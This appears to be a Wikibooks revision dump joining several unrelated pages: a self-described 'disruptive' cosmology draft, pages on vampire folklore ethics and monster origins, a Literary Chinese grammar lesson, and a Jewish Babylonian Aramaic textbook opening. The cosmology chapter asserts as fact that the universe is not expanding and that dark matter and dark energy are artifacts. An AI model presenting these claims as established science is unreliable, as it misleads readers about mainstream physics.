Cosmological mechanisms === ==== The apparent expansion ==== In general relativity, redshift is a stretching of spacetime. In the cosmology of retarded interaction, it is the result of a dynamic retardation in both time and space. Since the gravitational effect arrives retarded, the force of mass lags behind. In a system consisting of many particles, this leads to a continuous kinematic shift in their trajectories. When we receive light from distant sources, we do not observe an expansion of spacetime, but rather the cumulative effect of the net gravitational potentials on the propagation of light (gravitational redshift) and the relativistic potentials due to the motion of the source (Doppler redshift). ==== A replacement for dark matter ==== In the standard model of cosmology respectively the Lambda cold dark matter model (Lambda-CDM model or ΛCDM model), the flat rotation curves of galaxies are explained by dark matter which is even changing over time. In the cosmology of retarded interaction, they result from the retarded effect of the baryonic matter accreted by the galaxies. The stars in the outer regions of a galaxy respond to the gravitational potential of the center as it was millions of years ago. The force does not decrease as <math display="inline">1 / r^2</math> because the time delay generates an additional force component, similar to the Liénard–Wiechert potentials in electrodynamics. ==== A replacement for dark energy ==== In the cosmology of retarded interaction, accelerated expansion is interpreted as a cosmic phenomenon. The retarded gravitational potentials of homogeneously distributed masses – located in a spherical shell outside the sphere’s surface on which a moving test mass rests – lead to an net outward acceleration of the test mass, since masses in front of the test mass cause stronger retarded forces than opposing masses that reach the test mass with attenuated retarded forces. Consequently, all mass points moving in the universe drift apart at an accelerating rate because the net acting forces, due to the retardation, cause a radially outward acceleration force. As a result, matter in the outer regions of the universe becomes increasingly dense, creating an inhomogeneous mass distribution (black shell) that continuously amplifies the effect of the retarded potentials. The cosmology of retarded interaction therefore does not align with metric expansion, it only presupposes a static pseudo-Euclidean space. If spacetime itself were expanding, this would call into question or modify the speed of light <math display="inline">c</math> as a constant parameter for the retardation <math display="inline">\Delta t = r/c</math>. The cosmology of retarded interaction would thus actively dispute the thesis of metric expansion and interpret it as an optical illusion. In the cosmology of retarded interaction, expansion is not necessarily linked to an event such as the Big Bang, but is rather a dynamic process. The retardation of gravity gives rise to inhomogeneity. When moving masses are far enough apart that the time delay <math display="inline">\Delta t</math> effectively weakens and phase-shifts the effect of gravity, the objects begin to drift due to their kinetic motion. The farther they drift, the larger <math display="inline">\Delta t</math> becomes, and the weaker the retarded forces from the opposite side from the universe become the expansion accelerates without the need for dark energy. ==== The universe as a black hole ==== In general relativity, a black hole is a region of extreme spatial curvature. However, since cosmology of retarded interaction rejects spatial curvature and replaces it with retarded potentials, the concept of a black hole would have to be radically redefined. In cosmology of retarded interaction, a black hole would not be a geometric point, but rather a region of high mass density in which the gravitational potentials are so strong that the escape velocity <math display="inline">v_e \geq c</math> is reached. If our universe were the interior of such an object, we would find ourselves in a region where the retarded potentials are dominated by a massive external source which is located in the out regions of the universe. This region can be interpreted as a black shell. Since cosmology of retarded interaction is based on classical potentials, there is no mathematical necessity for a singularity. The retarded effect smooths out extreme gradients over time. A universe-black-hole in cosmology of retarded interaction would thus be more like a gigantic cluster of baryonic matter, within which we find ourselves. The observed physics would then be the superposition of the local forces and the global, retarded pull of the surrounding mass in the black shell. === Comparison with the standard model of cosmology === [[File:Gravitational.field.in.cosmology.of.retarded.interaction.png|thumb|upright=2|Gravitational field in the '''cosmology of retarded interaction''' within a '''spherical black shell''' of an expanding universe with retarded gravitational potentials:<br/>'''Vector field''' showing the direction of gravitational forces by {{blue|'''blue arrows'''}}.<br/>Corresponding '''scalar potential field''' indicating equipotential lines by {{red|'''red circles'''}}.]] The cosmology of retarded interaction does not rely on a priori hypotheses or ad hoc assumptions, which are taken for granted in the standard model of cosmology. {| class="wikitable" |+ Comparision standard model of cosmology (ΛCDM) and cosmology of retarded interaction (CRI) |- ! Concept !! Standard model of cosmology (GR / ΛCDM) !! Cosmology of retarded interaction (CRI) |- | Principle of equivalence || Ad hoc assumption, general theory of relativity || No, gravitation is a force |- | Homogeneity || Ad hoc assumption, cosmological principle || No homogeneity, higher mass and energy densities in outer regions of a kinematic universe |- | Isotropy || Ad hoc assumption, cosmological principle || Only from the centre of a kinematic universe |- | Copernican principle || Ad hoc assumption || Milky Way in Local Group near the centre of a kinematic universe |- | Dark matter || Ad hoc assumption of non-baryonic particles || Effect of retarded gravitational potentials |- | Dark energy || Ad hoc assumption of a cosmological constant Λ || Effect of retarded gravitational potentials |- | Rotation curves of spiral galaxies || Ad hoc assumption of dark matter || Retarded gravitational potentials of accreted baryonic matter |- | High-redshift objects || Ad hoc assumption of cosmological redshift by expanding spacetime || Gravitational redshift due to baryonic matter in black shell |- | Geometry || Dynamic differential geometry|| Static pseudo-Euclidean geometry |- | Spacetime || Curved spacetime || Minkowski spacetime |- | Spatial evolution of particle horizon || Accelerated expansion with superluminal speed || Expansion with speed of light |- | Spatial evolution of event horizon || Accelerated expansion with superluminal speed || Expansion of inner surface of massive black shell with sub-light speed |- | Gravitational potential within universe || Constant || Increasing decrease as the distance from the center increases |} === Summary === The universe is not expanding, and it is not curved. It is a system of masses distributed in flat space, whose mutual attraction is so time-delayed that the resulting trajectories and light signals create the illusion of an expanding geometry that is explained by dark matter and dark energy in the standard model of cosmology. The cosmology of retarded interaction consistently adheres to physical axioms (classical, relativistic, and retarded potentials). It dispenses with the geometric interpretation (no spatial curvature, no event horizon in the sense of general relativity) and regards everything as the result of forces, masses, and time delays. The dark components and spatial curvature are merely mathematical artifacts that arise when one attempts to describe the retarded force action using differential geometry. The universe is not viewed as a geometric black hole in the sense of general relativity, but rather as a massive and inhomogeneous system whose internal dynamics are governed by retarded potentials. Cosmology of retarded interaction is based solely on the view that the universe is a classical mechanical system with retardation. By introducing differential-geometric paradigms such as the curvature or stretching of spacetime, one departs from the disruptive paradigm of cosmology of retarded interaction and returns to general relativity. 9y5zwlbdyj2wsj2z53oo0c5zs0i0sv4 4670880 4670719 2026-09-18T08:25:18Z Bautsch 630029 /* Comparison with the standard model of cosmology */ Singularities 4670880 wikitext text/x-wiki <noinclude> {{Chapter navigation|Gravitational redshift|Conclusion}} </noinclude> == Cosmology of retarded interaction == Modern astrophysics is based on the general theory of relativity (GR) because it has been confirmed by experiments such as the perihelion precession of Mercury or the detection of gravitational waves. A new model must prove that it also correctly describes all the effects that the general theory of relativity explains geometrically. To devise a disruptive cosmology that relies solely on classical, relativistic, and retarded gravitational potentials and dispenses with all ad hoc and a priori hypotheses – such as the equivalence principle of general relativity, cosmological constants, dark matter, dark energy, homogeneity, or isotropy – we must return to a dynamic field approach. To this end, the differential geometry required for general relativity can be replaced by a model that relies on pseudo-Euclidean geometry in Minkowski space. The central challenge is that classical Newtonian gravity acts instantaneously. To construct a consistent cosmology, retarded gravitational potentials can be introduced. This leads to an inherent time dependence and dynamics of the universe without the need to postulate an expansion of spacetime. In what follows, a draft of the '''cosmology of retarded interaction (CRI)''' is outlined. === The axioms of retarded interaction === Established physics is based on three pillars, which are used to build the cosmology of retarded interaction: # '''Classical mechanics:''' The force <math display="inline">F = m \cdot a</math> as the basis of the acceleration <math display="inline">a</math> of a mass <math display="inline">m</math> . # '''Relativistic kinematics:''' time dilation and length contraction according to the special theory of relativity, but without the curvature of spacetime. # '''Retarded gravitation:''' The gravitational effect propagates at the speed of light <math display="inline">c</math>. The potential <math display="inline">\Phi</math> at a point <math display="inline">\mathbf {r}</math> at time <math display="inline">t</math> depends on the state of the source at time <math display="inline">t - \Delta t</math>, where <math display="inline">\Delta t = \frac {r} {c}</math>. === The mathematical core === For the mathematical formulation, the gravitational potential can be substituted into the wave equation: :<math>\square \Phi = \left( \frac {1} {c^2} \frac {\partial^2} {\partial t^2} - \nabla^2 \right) \Phi = 4\pi G \rho</math> The solution to this wave equation is the retarded potential: :<math>\Phi (\vec {r}, t) = -G \iiint \frac {\rho (\vec {r}', t - |\vec {r} - \vec {r}'| / c)} {|\vec {r} - \vec {r}'|} d^3r'</math> In a universe with massive objects, gravity never acts instantaneously but always depends on the mass’s past position. This creates a phase shift between mass and force, as well as an attenuation of the retarded gravitational potentials. === Cosmological mechanisms === ==== The apparent expansion ==== In general relativity, redshift is a stretching of spacetime. In the cosmology of retarded interaction, it is the result of a dynamic retardation in both time and space. Since the gravitational effect arrives retarded, the force of mass lags behind. In a system consisting of many particles, this leads to a continuous kinematic shift in their trajectories. When we receive light from distant sources, we do not observe an expansion of spacetime, but rather the cumulative effect of the net gravitational potentials on the propagation of light (gravitational redshift) and the relativistic potentials due to the motion of the source (Doppler redshift). ==== A replacement for dark matter ==== In the standard model of cosmology respectively the Lambda cold dark matter model (Lambda-CDM model or ΛCDM model), the flat rotation curves of galaxies are explained by dark matter which is even changing over time. In the cosmology of retarded interaction, they result from the retarded effect of the baryonic matter accreted by the galaxies. The stars in the outer regions of a galaxy respond to the gravitational potential of the center as it was millions of years ago. The force does not decrease as <math display="inline">1 / r^2</math> because the time delay generates an additional force component, similar to the Liénard–Wiechert potentials in electrodynamics. ==== A replacement for dark energy ==== In the cosmology of retarded interaction, accelerated expansion is interpreted as a cosmic phenomenon. The retarded gravitational potentials of homogeneously distributed masses – located in a spherical shell outside the sphere’s surface on which a moving test mass rests – lead to an net outward acceleration of the test mass, since masses in front of the test mass cause stronger retarded forces than opposing masses that reach the test mass with attenuated retarded forces. Consequently, all mass points moving in the universe drift apart at an accelerating rate because the net acting forces, due to the retardation, cause a radially outward acceleration force. As a result, matter in the outer regions of the universe becomes increasingly dense, creating an inhomogeneous mass distribution (black shell) that continuously amplifies the effect of the retarded potentials. The cosmology of retarded interaction therefore does not align with metric expansion, it only presupposes a static pseudo-Euclidean space. If spacetime itself were expanding, this would call into question or modify the speed of light <math display="inline">c</math> as a constant parameter for the retardation <math display="inline">\Delta t = r/c</math>. The cosmology of retarded interaction would thus actively dispute the thesis of metric expansion and interpret it as an optical illusion. In the cosmology of retarded interaction, expansion is not necessarily linked to an event such as the Big Bang, but is rather a dynamic process. The retardation of gravity gives rise to inhomogeneity. When moving masses are far enough apart that the time delay <math display="inline">\Delta t</math> effectively weakens and phase-shifts the effect of gravity, the objects begin to drift due to their kinetic motion. The farther they drift, the larger <math display="inline">\Delta t</math> becomes, and the weaker the retarded forces from the opposite side from the universe become the expansion accelerates without the need for dark energy. ==== The universe as a black hole ==== In general relativity, a black hole is a region of extreme spatial curvature. However, since cosmology of retarded interaction rejects spatial curvature and replaces it with retarded potentials, the concept of a black hole would have to be radically redefined. In cosmology of retarded interaction, a black hole would not be a geometric point, but rather a region of high mass density in which the gravitational potentials are so strong that the escape velocity <math display="inline">v_e \geq c</math> is reached. If our universe were the interior of such an object, we would find ourselves in a region where the retarded potentials are dominated by a massive external source which is located in the out regions of the universe. This region can be interpreted as a black shell. Since cosmology of retarded interaction is based on classical potentials, there is no mathematical necessity for a singularity. The retarded effect smooths out extreme gradients over time. A universe-black-hole in cosmology of retarded interaction would thus be more like a gigantic cluster of baryonic matter, within which we find ourselves. The observed physics would then be the superposition of the local forces and the global, retarded pull of the surrounding mass in the black shell. === Comparison with the standard model of cosmology === [[File:Gravitational.field.in.cosmology.of.retarded.interaction.png|thumb|upright=2|Gravitational field in the '''cosmology of retarded interaction''' within a '''spherical black shell''' of an expanding universe with retarded gravitational potentials:<br/>'''Vector field''' showing the direction of gravitational forces by {{blue|'''blue arrows'''}}.<br/>Corresponding '''scalar potential field''' indicating equipotential lines by {{red|'''red circles'''}}.]] The cosmology of retarded interaction does not rely on a priori hypotheses or ad hoc assumptions, which are taken for granted in the standard model of cosmology. {| class="wikitable" |+ Comparision standard model of cosmology (ΛCDM) and cosmology of retarded interaction (CRI) |- ! Concept !! Standard model of cosmology (GR / ΛCDM) !! Cosmology of retarded interaction (CRI) |- | Principle of equivalence || Ad hoc assumption (general theory of relativity) || No, gravitation is a force |- | Homogeneity || Ad hoc assumption (cosmological principle) || No homogeneity, higher mass and energy densities in outer regions of a kinematic universe |- | Isotropy || Ad hoc assumption (cosmological principle) || Only from the centre of a kinematic universe |- | Copernican principle || Ad hoc assumption || Milky Way in Local Group near the centre of a kinematic universe |- | Dark matter || Ad hoc assumption (non-baryonic particles) || Effect of retarded gravitational potentials |- | Dark energy || Ad hoc assumption (cosmological constant Λ) || Effect of retarded gravitational potentials |- | Rotation curves of spiral galaxies || Ad hoc assumption (dark matter) || Retarded gravitational potentials of accreted baryonic matter |- | High-redshift objects || Ad hoc assumption (cosmological redshift by expanding spacetime) || Gravitational redshift due to baryonic matter in black shell |- | Geometry || Dynamic differential geometry|| Static pseudo-Euclidean geometry |- | Spacetime || Curved spacetime || Minkowski spacetime |- | Spatial evolution of particle horizon || Accelerated expansion with superluminal speed || Expansion with speed of light |- | Spatial evolution of event horizon || Accelerated expansion with superluminal speed || Expansion of inner surface of massive mass shell with sub-light speed |- | Gravitational potential within universe || Constant || Increasing decrease as the distance from the center increases |- | Singularities || Points with infinite mass and energy density, event horizonts with infinite gravitational redshift || None |} === Summary === The universe is not expanding, and it is not curved. It is a system of masses distributed in flat space, whose mutual attraction is so time-delayed that the resulting trajectories and light signals create the illusion of an expanding geometry that is explained by dark matter and dark energy in the standard model of cosmology. The cosmology of retarded interaction consistently adheres to physical axioms (classical, relativistic, and retarded potentials). It dispenses with the geometric interpretation (no spatial curvature, no event horizon in the sense of general relativity) and regards everything as the result of forces, masses, and time delays. The dark components and spatial curvature are merely mathematical artifacts that arise when one attempts to describe the retarded force action using differential geometry. The universe is not viewed as a geometric black hole in the sense of general relativity, but rather as a massive and inhomogeneous system whose internal dynamics are governed by retarded potentials. Cosmology of retarded interaction is based solely on the view that the universe is a classical mechanical system with retardation. By introducing differential-geometric paradigms such as the curvature or stretching of spacetime, one departs from the disruptive paradigm of cosmology of retarded interaction and returns to general relativity. st1v9mhqfwq7h6tncdx3iuf79p8vcat 0 485677 4670645 4670473 2026-09-17T13:09:10Z MathXplore 3097823 Added {{[[Template:BookCat|BookCat]]}} using [[User:1234qwer1234qwer4/BookCat.js|BookCat.js]] 4670645 wikitext text/x-wiki == The Ethics of Creating Vampire Lore == When writing about vampires in your fictional narratives, try to avoid using harmful stereotypes or cultural appropriations. <br> <br> Stereotypes are widely held, fixed, and oversimplified beliefs or mental images about a particular group of people. [1] <br> <br> According to Wikipedia: <br> It is an expectation that people might have about every person of a particular group. The type of expectation can vary; it can be, for example, an expectation about the group's personality, preferences, appearance or ability. [2] <br> Stereotypes are often faulty and resistant to new information. [3] <br> <br> People who use stereotypes rely of their previous knowledge about a person, information they then project onto an entire group. This can lead to hasty generalizations when they meet new people in that said group. <br> <br> Negative stereotypes should be used with caution. They can lead to prejudice, discrimination and unfair judgment. <br> <br> If you think all vampires are white, blood-thirsty decomposing demons from hell, then perhaps you should read more books, and watch more films about vampires. <br> <br> In the case of the Vampire Disease, also known as porphyria, Medical Doctors wrote about patients who became depressed by reports in the media linking porphyria, their illness, with vampirism. In this case, negative stereotypes could lead to unfair judgements. <br> <br> According to Wikipedia: <br> Cultural appropriation is an adoption of an element or elements of culture or identity by members of another culture or identity in a manner perceived as inappropriate or unacknowledged. Charges of cultural appropriation typically arise when members of a dominant culture borrow from minority cultures. Cultural appropriation can include the adoption of another culture's religious and cultural traditions, customs, dance steps, fashion, symbols, language, history and music. [4]<br> <br> Problems occur when cultural borrowing is unacknowledged, or when borrowed information is used in an inappropriate manner. <br> <br> Memes occur when people imitate the behaviors of other people without truly understanding that behavior. For unconscious reasons, that behavior, or idea spreads. <br> <br> The entire lore that surrounds the vampire seems like cultural appropriation from the Romanian people who did historically suffer, as a group, from grave robbery. The actual accounts of people who were mistaken for vampires, fed folk stories and modern legends. <br> <br> === Respectful use of folklore? === How can writers use folklore respectfully? Writers could acknowledge the people who created and kept their folklore alive. By acknowledging the folks who shared their cautionary tales, we share their perspectives, and our stories gain diversity. By acknowledging each storyteller, we show respect. We should honor their stories as they honor their ancestors' stories. <br> <br> This section was ''developed'' by the writer using '''digital tools''': <br> <br> When writers treat folklore as cultural memory, they acknowledge the grief, fears, community protection, and spiritual beliefs of the people who carried it. <br> <br> These vampire stories come from people, from Slavic, Caribbean, Filipino, Chinese, Indigenous, African — People. These ancestor stories are other people's attempt to explain illness, death, or danger. <br> <br> Unethical use of folklore looks like: using stereotypes, treating traditions as interchangeable with each other, removing cultural context, claiming “ownership” of a culture’s monster. Ethical vampire lore: avoids stereotypes, preserves meaning, respects the original purpose of the tale, keeps cultural details, acknowledges the source of the story, shares ownership of a monster that can transcend cultural boundaries. <br> <br> Link: https://en.wikibooks.org/wiki/Create_Vampires_/All_About_Vampires#All_About_Vampires <br> <br> === Reference: === 1. Oxford Learner's Dictionaries stereotype September 16, 2026 In https://www.oxfordlearnersdictionaries.com/definition/american_english/stereotype_1 <br> 2. "Stereotype" August 30, 2026. In Wikipedia https://en.wikipedia.org/wiki/Stereotype <br> <br> 3. Meyer, David G. (2008). Intuition: Its Powers and Perils. Yale University Press. pp. 114–115. ISBN 978-0-300-13027-0 <br> <br> 4. "Cultural appropriation" September 8, 2026. In Wikipedia https://en.wikipedia.org/wiki/Cultural_appropriation {{BookCat}} qodtd7r42hj183m3yfdzhklp8lhfono 0 485678 4670644 4670432 2026-09-17T13:09:05Z MathXplore 3097823 Added {{[[Template:BookCat|BookCat]]}} using [[User:1234qwer1234qwer4/BookCat.js|BookCat.js]] 4670644 wikitext text/x-wiki In the last lesson, you learned how to express a time in which you did something. But now, we have to consider: For how long was something done? In English, we pay considerable attention to this, but in Literary Chinese, it is decently straightforward. This lesson will be particularly dry, but contain numerous basic items that I want you to practice individually for a time. Right now, you probably feel at least a little bit restricted. This is where you will go from basic constructions to equally basic prose. ==Core patterns== There are two broad patterns here. ===Doing X for Y amount of time=== <blockquote> Verb + Time frame </blockquote> This will express "someone did X for Y amount of time." Let's put this into practice: <blockquote> 居三年<br> [someone] lived [there] for three years. </blockquote> Can you figure out which character is for living somewhere? Here are some useful words for this pattern: * 日 - Day * 旬 - 10-day week * 月 - Month * 年 or 歲 - Year. 紀 can be used for the ritualistic sense. * 夜 - Night, often used over 日. Opposite is 晝, daytime. You can substitute 年 for any of these words and be fine; you can probably even find more! Now, what if we wanted to express doing something "after" a period of time? This is where 而 comes in. ===Using 而=== 而 is a very flexible word that generally means "then." It can have a contrastive tone, sort of like "but," though here, it is just a general term. <blockquote> Time frame + 而 + Verb </blockquote> Putting this into a phrase: <blockquote> 居三年而往<br> [someone] lived [there] for 3 years, then left. </blockquote> If you want to add an "only" after factor for emphasis, you can use 乃 as well, which carries a similar meaning to 而, but has a more temporal relation: <blockquote> 居三年乃往<br> Only after living [there] for 3 years did they leave. </blockquote> Their meaning is not super different, so you can consider them interchangable. You can think of 往 as the opposite of 來: 來 is to come, 往 is to go. You can use these characters for virtually any scenario beyond this; these are very high-usage words and can get you extending your sentences very quickly. ===Using 先=== But what about times before an event? This is where 先 comes in. Technically, it means "first," but can be extended into myriad phrases. <blockquote> 先 + Event + Time frame </blockquote> Technically, this can be any event. Therefore, something like 行周 "walk to Zhou" can be perfectly fine here: <blockquote> 先行周一日，備十杏。<br> One day before going to Zhou, [someone] prepared ten fruits. </blockquote> If one is uncertain about the amount of time, 餘 can add the sense of "X odd Y". We also do not need to add time after a phrase with 先. <blockquote> 先備十杏，備五餘果 </blockquote> You can likely figure out what this is from context: You know these words now! If you want to refer back to an event you have already mentioned, you can use 是, which means "this" in a very broad sense. Taking our previous example: <blockquote> 先是備五餘果 </blockquote> Use this to optimise your writing. ==Practice== Get out your dictionary and find some words relevant to you. As you are a beginner, I recommend this one, especially if you have Pleco: <blockquote> Kroll, P. W., Baxter, W. H., Boltz, W. G., Knechtges, D. R., Lien, Y. E., Richter, A., Richter, M. L., & Warner, D. X. (2017). A student’s dictionary of classical and medieval Chinese (S. F. Teiser, M. Kern, & T. Brook, Eds; Revised edition). Brill. 978-90-04-32513-5 </blockquote> Next, write using the new items you have learned here, to discuss something you are interested in. ==References== * Barnes, A. C., Starr, D., & Ormerod, G. (2009). Du’s handbook of classical Chinese grammar: An introduction to classical Chinese grammar. Alcuin Academics. * Kroll, P. W., Baxter, W. H., Boltz, W. G., Knechtges, D. R., Lien, Y. E., Richter, A., Richter, M. L., & Warner, D. X. (2017). A student’s dictionary of classical and medieval Chinese (S. F. Teiser, M. Kern, & T. Brook, Eds; Revised edition). Brill. * Pulleyblank, E. G. (2000). Outline of classical Chinese grammar (Repr). UBC Press. {{BookCat}} 5q2w9zsi7p409wew40i7wkmu3f1o1n0 0 485681 4670643 4670479 2026-09-17T13:08:50Z MathXplore 3097823 Added {{[[Template:BookCat|BookCat]]}} using [[User:1234qwer1234qwer4/BookCat.js|BookCat.js]] 4670643 wikitext text/x-wiki == All About Vampires == From early attempts to spell vam‑pai‑yer‑sa, to defining what vampires are, to tracing their origins in Slavic folklore, we have seen how the vampire concept has changed, adapted, and traveled across cultures. Many communities have created their own versions of vampire‑like beings, each shaped by local fears, values, and traditions. <br> <br> This book has explored vampires through historical records, folk stories, Science and Psychology, and the broader vampire archetype. We have examined common literary tropes and discussed ways to avoid familiar literary pitfalls when creating new vampire narratives. <br> <br> These ideas form a foundation for further study. Readers are encouraged to continue exploring the many cultural, historical, and literary dimensions of vampires. When creating vampire lore, I hope writers will continue to research vampire stories, while acting with a code of ethics when handling vampire folklore.<br> <br> With help from readers and writers, we can continue to explore vampires! <br> <br> Links: https://en.wikipedia.org/wiki/Vampire <br> <br> Link: https://scholardaily.com/understanding-the-american-folklore-society-code-of-ethics-a-cultural-compass-for-today-s-storytellers/ <br> <br> Link: https://en.wikipedia.org/wiki/Vampire_literature <br> <br> {{BookCat}} bzb1kxlo0o42bz5muqdf2cb4bq5li2w 0 485682 4670642 4670586 2026-09-17T13:08:46Z MathXplore 3097823 Added {{[[Template:BookCat|BookCat]]}} using [[User:1234qwer1234qwer4/BookCat.js|BookCat.js]] 4670642 wikitext text/x-wiki == Chapter One: Monsters And Their Human Origin == Monsters. Stranger Things, The Exorcist, Poltergeist, Shaun of the Dead. We love monsters, they are part of a large film and Entertainment industry. Around the world, monsters appear in films and on TV shows. They pop-up, taking forms that range from ghosts and demons, to zombies, and hungry-spirits. Although these monsters are described as supernatural, able to cross the barriers that separate the dead from the living, many monster traditions originated from human experiences. <br> <br> This wikibook explores the concept that monsters are kind of human, merely symbolic expressions of human fears, behaviors, or cultural change. By closely examining the human origin of monster myths, readers can understand how they developed, why these stories persist, and why they mutate over time.<br> === Monsters As Cultural Expression: === Monsters are not just the creations of individuals. Monsters emerge from cultural environments and reflect shared concerns within a community. <br> For Example: Monsters are associated with taboo behavior, meaning actions that are considered dangerous, behaviors that are often socially forbidden. <br> <br> In an interview with Michael Connerty, Emil Ferris, the author of the graphic novel: My Favorite Things Is Monsters: Book One, talks candidly about sexuality and horror movies. <br> <br> Michael Connerty: There are a lot of very powerful images that punctuate both books, cent[e]red on women and violence – some come from classical painting, some in the form of your imaginary comic book covers. Emil Ferris: I grew up with that, I mean you saw women portrayed in a particular way, and horror comics always used women, and horror movies did too, where there was this sexualization of a woman before she was murdered, which is really a very frightening thing to do. And Karen and Deeze talk about that, I mean they talk about the sexualization of brutality, you know, which is often the brutality of sex, when it's negative, when it's assault. It's just something that has to be pointed out. I like the fact that they have that conversation, because I think more people need to have that conversation with their sons and their daughters. They need to talk about those things but we're so afraid to talk about those things, and we have to. We have to because it's so hard for children to figure out, 'well, how do I negotiate this world?' It's just really good to be frank about these things. [1] <br> <br> The common sources of monsters include: <br> - Trauma: events that leave an emotional or physical response, usually deeply harmful, disturbing, or overwhelming. <br> - Illness: physical or mental poor health interpreted through symbolic stories. <br> - Social conflict: tensions within families, communities, or societies. <br> - Taboo behavior: actions considered dangerous or forbidden. <br> - Environmental conditions: landscapes, climate, or natural hazards. <br> <br> Monsters come from trauma, illness, social conflicts, behaviors that are taboo, and social conflict. They are born from our darkest release. <br> <br> {| class="wikitable" |+ |- ! Mural |- | [[File:Hip Hop Meeting Málaga (Drak-Baros-Elalfil, 2023) 04.jpg|thumb|Hip Hop Meeting Málaga (Drak-Baros-Elalfil, 2023) 04]] |} <br> === Reference: === 1. Connerty, Michael. Scary monsters and super creeps: An interview with Emil Ferris. Published in Studies in Comics, Jan 2025, Art Source <br> {{BookCat}} tu650k2npyhhkm7x3ltkmn8c4yuptt5 4670670 4670642 2026-09-17T14:22:09Z 3MMPEYTON 3393808 4670670 wikitext text/x-wiki == Chapter One: Monsters And Their Human Origin == Monsters. Stranger Things, The Exorcist, Poltergeist, Shaun of the Dead. We love monsters, they are part of a large film and Entertainment industry. Around the world, monsters appear in films and on TV shows. They pop-up, taking forms that range from ghosts and demons, to zombies, and hungry-spirits. Although these monsters are described as supernatural, able to cross the barriers that separate the dead from the living, many monster traditions originated from human experiences. <br> <br> This wikibook explores the concept that monsters are kind of human, merely symbolic expressions of human fears, behaviors, or cultural change. By closely examining the human origin of monster myths, readers can understand how they developed, why these stories persist, and why they mutate over time.<br> === Monsters As Cultural Expression: === Monsters are not just the creations of individuals. Monsters emerge from cultural environments and reflect shared concerns within a community. <br> For Example: Monsters are associated with taboo behavior, meaning actions that are considered dangerous, behaviors that are often socially forbidden. <br> <br> In an interview with Michael Connerty, Emil Ferris, the author of the graphic novel: My Favorite Things Is Monsters: Book One, talks candidly about sexuality and horror movies. <br> <br> Michael Connerty: There are a lot of very powerful images that punctuate both books, cent[e]red on women and violence – some come from classical painting, some in the form of your imaginary comic book covers. Emil Ferris: I grew up with that, I mean you saw women portrayed in a particular way, and horror comics always used women, and horror movies did too, where there was this sexualization of a woman before she was murdered, which is really a very frightening thing to do. And Karen and Deeze talk about that, I mean they talk about the sexualization of brutality, you know, which is often the brutality of sex, when it's negative, when it's assault. It's just something that has to be pointed out. I like the fact that they have that conversation, because I think more people need to have that conversation with their sons and their daughters. They need to talk about those things but we're so afraid to talk about those things, and we have to. We have to because it's so hard for children to figure out, 'well, how do I negotiate this world?' It's just really good to be frank about these things. [1] <br> <br> The common sources of monsters include: <br> - Trauma: events that leave an emotional or physical response, usually deeply harmful, disturbing, or overwhelming. <br> - Illness: physical or mental poor health interpreted through symbolic stories. <br> - Social conflict: tensions within families, communities, or societies. <br> - Taboo behavior: actions considered dangerous or forbidden. <br> - Environmental conditions: landscapes, climate, or natural hazards. <br> <br> Monsters come from trauma, illness, social conflicts, behaviors that are taboo, and social conflict. They are born from our darkest release. <br> <br> {| class="wikitable" |+ |- ! Mural |- | [[File:Hip Hop Meeting Málaga (Drak-Baros-Elalfil, 2023) 04.jpg|thumb|Hip Hop Meeting Málaga (Drak-Baros-Elalfil, 2023) 04]] |} <br> === Reference: === 1. Connerty, Michael. Scary monsters and super creeps: An interview with Emil Ferris. Published in Studies in Comics, Jan 2025, Art Source <br> <br> {{BookCat}} ixxajq85vjcpaj7y7n9ghqxol3uc920 0 485683 4670659 4670587 2026-09-17T13:49:01Z Kittycataclysm 3371989 flag 4670659 wikitext text/x-wiki {{AI-suspected|reason=Mass addition of content by new user, characteristic typographical and formatting quirks, excessive use of headings and lines, unformatted lists and numbering}} = Ulpana d-Aramaita Bavlaita = == A Textbook of Jewish Babylonian Aramaic == === Preface === Aramaic is one of the most important ancient Semitic languages. For many centuries it served as a language of speech, administration, literature, religion, and scholarship throughout the Near East. One of its most important historical varieties is '''Jewish Babylonian Aramaic''', the principal Aramaic language of the Babylonian Talmud and an important language of the Geonic period. The purpose of this textbook is to lead the student from the basic elements of the language—letters, vocabulary, and simple grammatical structures—to the ability to read short passages from the Babylonian Talmud and analyze their linguistic structure. The book generally follows the traditional spelling found in printed editions of the Talmud. Where useful, explanations of pronunciation, grammar, and historical development are also supplied. ---- = Part I — Foundations = = Chapter 1: What Is Jewish Babylonian Aramaic? = Jewish Babylonian Aramaic is an Eastern Aramaic variety used by Jewish communities in Babylonia during Late Antiquity, especially during the Amoraic and Geonic periods. It is most famous as the principal Aramaic language of the '''Babylonian Talmud'''. Some very common expressions are: '''מאי?''' What? '''מנא לן?''' From where do we know this? '''אמר רבא''' Rava said. '''אית ליה''' He has. '''לית ליה''' He does not have. '''היכי דמי?''' What exactly is the case? A student who knows Hebrew will immediately recognize many words and roots. However, linguistic similarity does not mean identity. Aramaic has its own vocabulary, grammar, syntax, sound changes, and idiomatic expressions. ---- = Chapter 2: The Alphabet = Jewish Babylonian Aramaic is normally written in the same square Hebrew script used for Hebrew. {| class="wikitable" !Letter !Name !Example |- |א |Aleph |אמר |- |ב |Bet |בר |- |ג |Gimel |גברא |- |ד |Dalet |דין |- |ה |He |היכי |- |ו |Vav |ולא |- |ז |Zayin |זימנא |- |ח |Het |חד |- |ט |Tet |טעמא |- |י |Yod |יתיב |- |כ |Kaf |כד |- |ל |Lamed |לית |- |מ |Mem |מאי |- |נ |Nun |נמי |- |ס |Samekh |סבר |- |ע |Ayin |עבד |- |פ |Pe |פליג |- |צ |Tsadi |צריך |- |ק |Qof |קאמר |- |ר |Resh |רב |- |ש |Shin |שמע |- |ת |Tav |תא |} As in Hebrew, five letters have special final forms: '''ך ם ן ף ץ''' ---- = Chapter 3: Your First Words = The following words are useful for beginning students. {| class="wikitable" !Aramaic !English |- |אבא |father |- |אמא |mother |- |אחא |brother |- |בר |son |- |ברתא |daughter |- |גברא |man |- |איתתא |woman |- |ביתא |house |- |יומא |day |- |ליליא |night |- |מיא |water |- |נהרא |river |- |ארעא |land |- |שמיא |heaven, sky |- |רישא |head |- |ידא |hand |- |עינא |eye |- |ליבא |heart |- |מלכא |king |- |רבא |great, large |} === Exercise === Translate into English: # גברא # ברתא # מיא # ארעא # רישא === Answers === # man # daughter # water # land # head ---- = Chapter 4: The Ending ־א = One of the most noticeable features of Aramaic vocabulary is the frequent ending '''־א'''. Examples: '''גברא''' — man '''מלכא''' — king '''ספרא''' — book '''ביתא''' — house '''יומא''' — day Historically, this ending is associated with the Aramaic '''emphatic state''', one of the traditional morphological states of the Aramaic noun. In earlier Aramaic, grammatical state could mark important distinctions involving definiteness and syntactic function. In later Aramaic dialects, including Jewish Babylonian Aramaic, the original system had changed 